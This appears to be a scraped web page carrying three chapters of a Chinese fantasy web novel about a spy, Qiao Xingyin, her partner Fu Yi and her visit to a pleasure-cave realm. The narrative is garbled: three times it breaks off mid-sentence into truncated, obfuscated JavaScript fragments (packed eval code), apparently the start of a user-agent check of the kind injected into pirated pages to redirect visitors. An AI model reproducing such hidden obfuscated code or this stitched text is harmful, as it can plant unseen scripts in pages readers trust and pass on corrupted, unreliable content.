乔行吟好笑地附和道:“对,说得够多了,你是挺懂我的。” 她扭过身子,拉开距离,伸出被红金护手所裹覆的手指,轻抵伏翊右眼,“翊,换我了。” “我换种方式同你玩。” 伏翊感受到落在眼皮上的一点冰冷,勾唇挑眉。 他会心一笑,配合地闭上右眼,对着乔行吟眨了眨另外一只眼睛。 10. 牵四挂五(五) 乔行吟道:“伏翊,是一个从小就喜欢冷笑、嘲笑、嗤笑、嬉笑、露齿而笑、得意大笑、似笑非笑等各种笑的人。” 伏翊摸摸鼻子,“我得声明一下啊,笑归笑,我可不喜欢什么傻笑、苦笑、惨笑这类的。哦对,还很讨厌皮笑肉不笑!” “是一个除了爱笑之外,还爱动、爱玩又爱闹的人。” “你觉得我闹?!好吧……算是吧。” “是一个将其他人纳入自己领地后便极为护短的人。” “那当然。” “是一个不高兴时便会竖起满身的刺并放狠话的人。” “嗯?有吗?我没觉得。” “是一个现在有些焦虑发作未免对我过于担心的人。” “……” 伏翊望着乔行吟,心想:怎么能叫“过于担心”?宫主对伏圣者一系起了怀疑,即便五通过了测试,信任的根基一旦动摇,后续再次摇晃,也不是没有可能的。何况,自己与三六针锋相对过几年,纵使再怎么看不顺眼,也还是对那小子有着些许认可。没想到他成为伏二后,在立圣渊里这么早就迎来了结局。所以,即便宫内此前另有人选,他也一定要成为她的联监者。除了他,谁来他都不放心。再加上…… 但有一些话,却莫名其妙地,不如那些玩笑话一样,可以脱口而出。 竹林间的阵阵清风,吹起两人的衣袍,翻飞如云。 乔行吟没有等伏翊继续回答。 她道:“翊,谢谢。” 伏翊道:“五,你最近这些天,已经和我说过好几次谢谢了,非得和我这么生分?” “珍贵的心意,总是值得一再感谢。”她的手指从伏翊的眼皮轻掠至他的眉毛,抚平他微微皱起的眉峰。 伏翊抓住她的手指,问道:“获得逐圣贴,你的把握大不大?” “大。” “成为轶圣使的把握,又大不大?” “会让它越来越大。” 伏翊:“我去将一些人……” “不必。”乔行吟打断伏翊道:“仙域及立圣渊已经加紧戒备,在逐圣会开始前造成异动,反而适得其反。” “并且,所在的位置不对,便很难看到关键所在。等我参与至逐圣会中,自有一番了解。” 乔行吟补充道:“不过,我这边现在倒是有另外一件事,需要你作为我的联监者施以援手。” “什么事?” “需要你向宫君呈明,建立影二七的联监者与你的联系通道。” 潜伏在外的伏圣者一系,若是希望在镜中瞳内进行隐秘沟通,均需要汇报宫君,由各自的联监者联合沟通。 伏翊听到影二七的名字,表情并不认可,抓着乔行吟手指的力道稍稍大了几分,声音紧绷:“他不合适。” 乔行吟解释道:“之前可能不合适,但如果独我一人进入了逐圣会,在伏圣者一系中,他便是了。” 伏翊面色有些沉下去道:“行吧。” “可是,五……反正,你不能将他当成搭档。” “他不是。”伏五一字一顿道。 乔行吟倒没太过在意伏翊挤出的那些话,她思考的是:“看伏翊的反应,影二七真有可能是他嘴里所说的圣徒,而非圣使。” 伏翊摇摇乔行吟的手指,将她的思绪拉回些许。 “五,你还有其他事要和我说吗?” “没有。” 他觑着乔行吟道:“你不是说今晚就走了嘛?我想带你去——” 乔行吟挣开被伏翊捏着的手指,将他的额头戳得稍稍往后倾了一下,道:“翊,我们当时可说好了,选了一就不能选二。我还有其他的事情要办,约了在这里见面,便不与你去三宫界逛了,想耍赖皮?” “也任性几次了。何况,既然现在已经兼任我的联监者了,倒是注意一点,不要一直在宫君眼皮子底下蹦跶。” 伏翊哼出一声,“宫君、宫君,”他没个好气,似乎是想到了什么事情,向乔行吟告状般说道:“哈,我对外向别人做个样子就算了。” “任务之外,我想干什么,不用他来管。一想到他那副阴阳怪气皮笑肉不笑一切皆在掌握之中的表情,我就来气。” 乔行吟道:“总归宫君他,还是以他的方式在关心着你。” 伏翊:“不管他!你要去哪,我同你一起去总可以吧?” 乔行吟道:“我要去的地方是销魂窟,难道你也想跟我一起去?” 伏翊最是厌恶销魂窟这个地方。 在他看来,常年混迹在销魂窟里的男男女女,都是一群臭虫。 当年,伏圣者一系有一项训练,便是需要前往销魂窟见识见识。 魔修重欲,但是顶尖的伏圣者却需要反其道而行之,用欲修魔的同时,也要学会压制各种魔欲。否则,伏圣者和伏圣影在外这么多年,若轻易便会陷入什么情情爱爱风花雪月,可不是直接废了伏圣殿的百般培养? 因此,离开魔域之前,于销魂窟中学会控制色欲,便是极为关键的一项训练。作为伏圣者一系,他们在外可以享受美人在怀,但绝不能因此蒙蔽了双眼。 伏翊确实是通过了这项训练,但通过的方式,却是被万相宫宫君斥为——“幸亏不用这个大惊小怪不中用的茅坑石头上阵潜伏。” 伏翊大惊失色,“你要去的居然是销魂窟?” “五!你不是有戒印吗?!” 乔行吟道:“你也知道我有戒印,怎么就想歪了?” “关于封印的任务,我有一些消息需要去销魂窟打听。” “一定要你亲自去吗?” 乔行吟淡淡地陈述着伏圣影训练阶段的一小部分精义要旨。“一手亲力亲为是防止扩散的第一要义。忘了?” 伏翊左思右想,咬咬牙道:“不行,我要跟你一起去!” 乔行吟淡笑道:“你想想你在销魂窟中的样子。你若是和我一同进去,引人注目这四个大字,就是明晃晃地贴在脑门上难以撕下来了。别来坏事。” 伏翊确实有些不敢保证。 他妥协道:“不许多看!也不许多听!片叶不沾身!” ——— 乔行吟要去的是销魂窟中的云雨窟。 销魂窟中的每一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凡是从外界入画销魂窟中各个窟洞的,秘画皆会将入画之人的装束进行调整,面容进行模糊,与其“掉落”地点的风格保持一致,以免入画之人的身份泄露。乔行吟此时便是一身月白绸裙,绸裙上由裙角至腰线缝制着枝枝苍青劲松。 乔行吟将那白衣男子扶住。 乐坊中还象征性追出了一两个魔修扮的打手,唱戏般对着两人凶神恶煞道:“好个小贱人,敢往贵客身上扑?!别脏了贵客的身子,赶紧同我们回去!” 白衣男子泪光盈盈,眼波流转,欲语还休地盯着乔行吟。若是乔行吟也如白衣男子般有意,便可随他一同进入这乐坊中。 乔行吟凑到白衣男子耳边,冷冷道:“霨殿统,好雅兴。” 霨目光闪了闪,道:“这次怎么能认出我来了?” “你知道我会来这里?”乔行吟将所有与霨有交集的事情在脑海中过了一遍。 他道:“哈哈哈哈哈,算是知道,还是不知道呢?” “伏五,我只是抓住每一个可能罢了……界门、影二七、黑荒岩柱……落空一百次,总得有那么一两次成功,对吗?” “只要赌对了,后面一步一步,就好办了。” 11. 牵四挂五(六) 销魂窟位于三宫界最外围,窟内每一壁小世界,均以秘画相连相通。卷卷图画绘于窟壁,各有特色。虽然各壁风格不尽相同,却都离不开同一个主题——供人寻欢作乐。 仅剩的五壁内,没有了以往禁锢于画的情奴,便换成了如今自愿陷画的宠陪,众修士以魂入画,于画中化形,在色欲中沉沦享受,在放纵中释放压力。无论何时,销魂窟里总是汇聚着各界修士或浓或淡的黑白魂影。 如今看来,纵然少了十九壁,入窟修士的魂影数量,依然只增不减。 乔行吟要入的,是销魂窟中的云雨壁。 云雨壁,取“云情雨意”“云交雨合”之意,对应的壁画内容最长最多,从上到下占满了销魂窟的一整面窟壁。 壁画上,绘制着勾连缠绕的绰约身影,各色身影隐于苍茫云雾之间,犹抱琵琶半遮面,遮遮掩掩间,更诱人只盼能多窥得几分风情。走近壁画,可听见画中由内而外传来淅淅沥沥的雨声,若再凝神细细听去,雨声中又像是夹杂了一些什么别的声音,道道交缠人影,声声欢言浪语,云绕雨淋间让人流连忘返,勾得人魂牵梦绕。 乔行吟的魂影来到云雨壁前,以魂入画。甫一定神,便已身处一条南北贯通的大道之上。 云雨壁内,是经久的暗夜缱绻,云积月掩,细雨霏霏。 大道两侧一座座朱红乐坊夹道伫立,挨挨挤挤却又错落有致。乐坊画阁上垂落的红缦透着微湿水汽、衬着朦胧灯光,飘忽迷离,极为诱惑幽美。 这般奢靡的纸醉金迷之景,正是云雨壁中尤为有名的众乐道。 乔行吟抚去积在身上的薄薄一层水汽,走进众乐道中一间乐坊。 ——— “如何?”乔行吟问道。 抵着乔行吟额头的红衣女子传音道:“有松动。” 红衣女子抬起头,额上微微渗出的一层薄汗被房内燃着的一盏灯光照得闪烁。 她目露诧异:“他确实算得上个人才。没想到将归原宗的‘入念诀’逆转改造后,竟能达成这样的奇效。” 乔行吟道:“所以,宫内要求林少绝不许轻易使用‘断识焚’。可惜,林少绝创下此招后并未加以精进。据我亲身体验,此招对灵识一焚俱焚,不能长时承受,还是无法全然达到我要的效果。以后若有合适的机会,我会再从他手下尝试几次。” 乔行吟说得轻巧,艳娘却听的心惊肉跳。 她颇为担忧地注视着乔行吟,心想:“恩人居然丝毫没有……丝毫没有……把自己灵体需要承受的痛苦,纳入考虑之中。” “艳娘,劳你再探看我体内其他地方。” 艳娘这次将头抵在乔行吟的胸口处。 双目透体,乔行吟体内奇经八脉、五脏六腑俱纳于艳娘眼中。 滚滚汗珠渗入艳娘的乌发,半响后,她平复呼吸,道:“手腕上大陵穴被一枚银针封住。除此之外,目前暂未发现其他异状。” 乔行吟此时方将银针取出,道:“这样呢?前后可有什么变化?” 艳娘摇头道,“没有变化。” “艳娘,辛苦了。”乔行吟将一粒魔核递予艳娘后垂下双目。 除了乐坊前厅外,乐坊中的每间画阁皆以结界相隔。 这间画阁在乐坊深处的尽头,其他各处或嬉闹或惨叫或调笑的声音传不进来,两人相对,便只剩下一室静默。 心知不应当开口,犹豫片刻,乔行吟还是忍不住道:“艳娘,饮鸩止渴,终究不是长久之策。” 艳娘苦笑道:“没有办法,我真的没有办法了。” “恩人,人各有志。” 艳娘咬了咬艳红的嘴唇,“以我的状况,只有借助魔核才能更进一步修炼天目。没有在销魂窟中找到人之前,我不会停下。” 吸收魔核之后,她眼中的赤色,比红唇更深。 艳娘幽幽道:“现在,即便当个宠陪,也没有谁能欺到我头上。呵呵,恩人,有些人的魂,留着也是脏了世间,送给我吸,倒还能有那么点儿作用。最起码,可予我几分享受。” “待我用天目找到人……之后…….之后便能一同出去了。” ——— 乔行吟从画阁内传回乐坊前厅,故意停留在此处,坐于底楼一张方桌前。 按照正常的顺序,入壁的修士如果想要进入画阁,本应在前厅先挑好宠陪,无论双方以什么方式看对眼,谈好玩法与交易条件后,再由宠陪领其从前厅传送至随机分配的画阁之中。 乔行吟于隐蔽之处跃过了这一道,算算时间,她自是要回前厅做做样子,以防万一。她推拒了好几位宠陪,与身边几个魔修谈论、交换着零零散散的信息,估摸着正是离开的时候,眼风一扫,便见着两名青衣修士拥着一名蓝衣修士匆匆进入乐坊。 观其身形,均为男子。 这三名修士格外引人注目,特意耗魂模糊了一大半容貌,浑身都透露一股“我知道我来这地方见不得人”的心虚劲。 现在的销魂窟中,“黑吃黑”往往发生在外界入窟的修士之间,甚至实力不够,宠陪都能将人剥皮拆骨,宁愿耗魂也要对面容做些无谓遮掩的情况,其他人一看便知晓——几人定是不敢明目张胆来找乐子的名宗灵修。 毕竟,魔修可以大摇大摆地行走于销魂窟,灵修则不然。 绝大部分名门望宗,皆将销魂窟作为宗内弟子的明令禁止之地。 观这三人宗服,乔行吟分辨出了个大概,是两名平清宗弟子加上一名九玄宗弟子。 其中一名平清宗弟子看来是销魂窟的常客,在前厅随便找了一张可以仰观宠伴种种风情的桌子,便张罗着另外两人落座。 乔行吟隐隐听到这人道:“东门兄,你抬头往楼上看看,对哪个宠陪有点意思,跟兄弟说说,我去谈。这儿我熟门熟路,此处若是没有中意的,我们再换个地方。” “你说的趣事,就是这?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那名平清宗修士在东门铮背后暗自捏了一个诀,正要动作。 却未成想,猝不及防间,三人齐齐被一道魔气轰出了乐坊。 乔行吟的声音传来:“好大的口气,说我伏圣殿的人都是见不得光的走狗与老鼠?” “是该让你们长长记性,知道销魂窟不是随来随往、肆意说话的地方。” 乔行吟仍是伏圣者的装束,此时一出手,便被三人认了出来。 她未等东门铮回过神来,便将他一击给震脱了魂,似是极为恼火这个小子刚才的言论。 又似是察觉到自己出手太快,反而放走了罪魁祸首,应当仔细与这几人算账才好,便将剩余两位平清宗修士抹去模糊的容貌,朝着两人举步上前,压迫感十足。 那两位潜伏在平清宗的伏圣影心道不好,又惊又慌,以为乔行吟误会了,连忙道:“伏五魔上,自己人啊!” 12. 牵四挂五(七) 乔行吟将两人带入乐坊二楼。 一位伏圣影又是报出自己编号,又是证明自己身份,又是阐明将人带至此处的原委,更兼痛骂东门铮此前言论,抓耳挠腮,只怕不能取得乔行吟的信任。 另外一位伏圣影则详细描述,他本是想将魔气偷偷引入东门铮体内,嫁祸于销魂窟内魔修,让东门铮吃个哑巴亏。没想到伏五魔上无意中听到东门铮无礼之言后,出手太快,他还没来得及出手,几人便被轰了出去。 乔行吟当着两人的面微微叹了一口气,将食指置于唇间。 “先静声。” 她侧耳倾听,片刻后,道:“无事了。” 复而向两人说明:“误会归误会。因我在众乐道上已经解开了你们对容貌的遮挡,云雨壁中人多眼杂,若是有心之人恰好注意到此事,你们在外的卧底身份恐怕难以积藏,不光影响任务的完成,也危及你们自身安全。” 这两人所处位置可以直接安排。 她下令道:“回伏圣殿向伏翊复命,从平清宗调离吧。” 瞬息之间,乐坊二楼仅余乔行吟一人。 或许是心神有些松懈,乔行吟此前明明并未在细雨中站立多久,却突然觉得身上的水汽愈发的黏腻,她再次抚了抚衣袖。 叮铃、叮铃,叮铃、叮铃。乐坊中,突然传来一阵铃音。 明明是清脆的铃音,却仿佛带着冷意,听之生寒。 她的耳边,万籁俱寂,只余铃音。 乐坊中出现铃音,应该是很正常的吧…… 身上的衣服湿湿的、黏黏的、冷冷的…… “不对!有点奇怪……”她提醒自己道。 ……有什么不对? ……对的啊! 乔行吟的眼皮逐渐合拢。 当然应该感觉到寒冷。 因为,现在下雨了啊…… 而且,她……她……她正倒在水坑里啊! 纷纷雨点砸在乔行吟的眼皮上,冷冷的,令她清醒了一瞬。 她努力地睁开一只眼,却感觉到眼睛里传来一阵刺痛。 是脏水进了眼睛。 她正倒在混杂着雨水、泥水和血水的水坑里。 鼻子里,嘴巴里,满是腥味。 痛,好痛,这痛意如蠕动的毒虫,似乎要顺着她浑身的伤口,更深更厉地钻进她的骨子里,一口一口吞噬她的血肉。 恍惚之中,视线所及之处,她看到一个少女的侧脸,黑发混着肮脏的血水,凌乱地糊在她的脸上。 少女与她一样,倒在水坑里。 她要干什么来着? 对,起来,要起来,她要比这个少女更先爬起来。 她的手指在尝试用力,却只是徒劳地抽动,只剩下无力与狼狈。 “一七三,通过。” 不是她,她用尽最后一点力气张开眼睛,朝身边望了一眼,是身边的少女爬了起来。 真地没有一点力气了,就这样吧,她阖上双眼。 “喂,起来。”耳边响起一道声音。 我不是喂,我是……我是谁?我是谁来着? 对了,我又有了一个名字,我叫怜梦。 她再次睁开双眼,听到自己对着一位金面魔修冷冷道:“为什么选我?哈哈哈哈,难道是想看看我在这里被调教,与你在伏圣殿里被调教,有何不同?” 可是说完这句话,她好像就瞎了。 不然为什么眼睛是明明睁开的,却看不见人,只能看见黑色。 或者说,是这黑荒岩柱漫天的黑云占满了她的眼吗? 云聚,云散。 云散,云聚。 真得好久了啊…… 她的手里紧紧攥着一片白布。 为什么没有一个人来,为什么这次没有人,为什么这次没有她?! 风刮得她好痛,石刃也扎得她好痛,比任何一次都痛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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